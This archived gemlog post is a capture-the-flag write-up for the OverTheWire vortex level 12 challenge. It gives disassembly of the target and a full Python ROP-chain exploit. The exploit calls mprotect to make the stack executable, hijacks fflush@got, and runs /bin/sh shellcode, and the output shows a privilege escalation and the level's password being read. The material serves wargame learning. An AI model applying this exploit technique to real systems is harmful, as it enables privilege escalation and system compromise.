💾 Archived View for 0x80.org › gemlog › 2014-08-02-vortex-12.gmi captured on 2022-04-28 at 17:41:10. Gemini links have been rewritten to link to archived content
⬅️ Previous capture (2021-12-03)
-=-=-=-=-=-=-
Continuing the previous post about solving vortex 0-11[1]. I just had some time to solve this one too.
Exploit this level knowing that the stack is not executable. You must login to vortex.labs.overthewire.org to complete this level..
So we get the binary and we find.
.text:08048620 ; int __cdecl main(int argc, const char **argv, const char **envp) .text:08048620 public main .text:08048620 main proc near ; DATA XREF: _start+17o .text:08048620 .text:08048620 argc = dword ptr 8 .text:08048620 argv = dword ptr 0Ch .text:08048620 envp = dword ptr 10h .text:08048620 .text:08048620 push ebp .text:08048621 mov ebp, esp .text:08048623 push esi .text:08048624 push ebx .text:08048625 and esp, 0FFFFFFF0h .text:08048628 sub esp, 20h .text:0804862B mov dword ptr [esp+0Ch], 0 ; arg .text:08048633 mov dword ptr [esp+8], offset safecode ; start_routine .text:0804863B mov dword ptr [esp+4], 0 ; attr .text:08048643 lea eax, [esp+1Ch] .text:08048647 mov [esp], eax ; newthread .text:0804864A call _pthread_create .text:0804864F call _getgid .text:08048654 mov esi, eax .text:08048656 call _getgid .text:0804865B mov ebx, eax .text:0804865D call _getgid .text:08048662 mov [esp+0Ch], esi .text:08048666 mov [esp+8], ebx .text:0804866A mov [esp+4], eax .text:0804866E mov dword ptr [esp], 0AAh ; sysno .text:08048675 call _syscall .text:0804867A call _getuid .text:0804867F mov esi, eax .text:08048681 call _getuid .text:08048686 mov ebx, eax .text:08048688 call _getuid .text:0804868D mov [esp+0Ch], esi .text:08048691 mov [esp+8], ebx .text:08048695 mov [esp+4], eax .text:08048699 mov dword ptr [esp], 0A4h ; sysno .text:080486A0 call _syscall .text:080486A5 mov eax, [ebp+argv] .text:080486A8 add eax, 4 .text:080486AB mov eax, [eax] .text:080486AD mov [esp], eax ; src .text:080486B0 call unsafecode .text:080486B5 mov eax, 0 .text:080486BA lea esp, [ebp-8] .text:080486BD pop ebx .text:080486BE pop esi .text:080486BF pop ebp .text:080486C0 retn .text:080486C0 main endp
This creates a thread running safecode(), then setresgid, setresuid, and runs the unsafecode(). Safecode loops for ever, prints, flush stdout, sleeps, and runs in a level13 priv. Unsafecode is a bufferover flow function, and runs in level12. So we want level13 thus we target the second thread, but we have a problem here. That stack is not executable which will complicate things. So we search for a ROP. We target libc.so.6 in vortex box. Since I don't have access to procfs it will be a little different to find libc. We dbg vortex12 break at __libc_start_main then libc base is the address in debugger minus the offset we find objdump ... | grep libc_start_main... Anyway we dump a list of rop gadgets and start searching and we find a bunch of useful ones. First what I'm trying to do using ROP is the following :
Let's talk a little bit more about how this is going to happen. So we need to set up sys_mprotect by using ebx,ecx,edx registers. So we need to find gadgets that can for example pop ebx, pop edx. I couldn't find something that pops ecx, or xchg ecx,r32 so I had to do some magic to set it to 4096. ebx points to the controlled_stack&~(4096-1) but that will let it contain zeros, so we need to do controlled_stack&~(4096) and then find a gadget that dec ebx to set it to correct value otherwise mprotect will fail with -EINVAL. For edx I found a gadget that zeros it then inc it until it becomes 0x07 which is PROT_{READ|WRITE|EXEC}. Finally we use a gadget that does int 0x80 then we have our executable stack. After that we jump to the executable stack execution (still in thread_1) a code that sets fflush@got to a place in this new executable stack so thread 2 goes there. Then after overwriting fflush@got we loop thread 1 forever ^^/ just to be nice. At this point thread 2 will jump there and execute our shellcode and everyone is happy.
Here's the code that sets fflush@got
SECTION .text global main main: mov eax, 0x0804a004 mov ebx, 0xffffd330 mov [eax], ebx loop_for_ever: jmp loop_for_ever
and the exploit
#!/usr/bin/env python2 import sys from struct import pack def zero_eax(): return pack('<I', 0xf7e42e30) # xor eax, eax ; ret def set_eax_inc(val): p = "" for i in range(0,val): p += pack('<I', 0xf7e182ac) # inc eax ; ret return p stack = 0xffffd8f5 & ~(4096-1) # 0xffffd000 <- shit we can use set_fflush = "\xb8\x04\xa0\x04\x08\xbb\x30\xd3\xff\xff\x89\x18\xeb\xfe" sh = "\x90\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80" payload = "\x90"*(900-len(sh))+sh libc_base = 0xf7e10000 p = payload+"\x90"*(1036-len(set_fflush)-len(payload))+set_fflush p += pack('<I', libc_base+0x000192ee) # pop ebx; ret p += pack('<I', stack+1) #ebx p += pack('<I', libc_base+0x00172f2e) # dec ebx p += pack('<I', libc_base+0x0002d619) # ... for i in range(0, 186): p += pack('<I', libc_base+0x0016daf8) # inc ecx p += pack('<I', libc_base+0x00083c95) #: xor edx, edx; mov eax, edx; ret) p += pack('<I', libc_base+0x00134287) # inc edx; ret p += pack('<I', libc_base+0x00134287) # inc edx; ret p += pack('<I', libc_base+0x00134287) # inc edx; ret p += pack('<I', libc_base+0x00134287) # inc edx; ret p += pack('<I', libc_base+0x00134287) # inc edx; ret p += pack('<I', libc_base+0x00134287) # inc edx; ret p += pack('<I', libc_base+0x00134287) # inc edx; ret p += zero_eax() p += set_eax_inc(125) p += pack('<I', libc_base+0x000ef951) # beter int p += pack('<I', 0xffffd340)*10 print p
You can clean up the code a lil bit it contains some useless stuff from some expirements. Anyway...
vortex12@melinda:XXX$ ./v "$(python happy_clowns.py)" 0 $ id uid=5012(vortex12) gid=5012(vortex12) euid=5013(vortex13) groups=5013(vortex13),5012(vortex12) $ cat /etc/vortex_pass/vortex13 jMyg12=nB